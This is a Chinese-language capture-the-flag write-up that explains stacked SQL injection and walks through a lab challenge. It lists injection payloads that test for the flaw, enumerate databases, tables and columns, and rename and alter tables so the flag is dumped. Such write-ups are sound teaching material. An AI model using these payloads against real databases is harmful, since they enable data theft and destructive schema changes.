知识点:堆叠注入。用简单的话来说就是在sql语句中分号(;)标志着一句话的结束,如果在一个sql语句后添加分号(;)并构造一个新的sql语句,那么之前的sql语句和自己所构造的sql语句都会执行,因此造成了sql注入。这种注入方法叫堆叠注入。
进入题目,看到输入框,尝试sql字符型注入1' or '1'='1,发现存在注入
发现存在字符型注入后用1'or '1' = '1' order by 1#等语句判断字段数,得出字段数为2
使用union select进行联合查询确定显示的字段顺序,发现select等字符被过滤
过滤了select,看来想使用联合注入注出数据是不可能的了,于是试试堆叠注入。使用1';show databases;#爆出数据库。
使用1';show tables;#爆出表
使用1';show columns from words;#查询words表中所有字段
使用1';show columns from `1919810931114514`;# 查询1919810931114514表中所有字段,发现flag字段,看来flag就在这个字段里面了。
通过第一步的注入发现默认查询的表是words表,在这题中没有禁用rename。所以我们可以采用修改表名的方法将含有flag的表改为默认查询表,再通过字符型注入注出含有flag表的全部内容得到flag。因此我们将words表名改为word,数字表名改为words,这样默认查询的表就是含有flag的表,但是该表没有id列,于是我们将flag字段改为id,即1';rename tables `words` to `word`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
最后使用1' or 1=1 #得到flag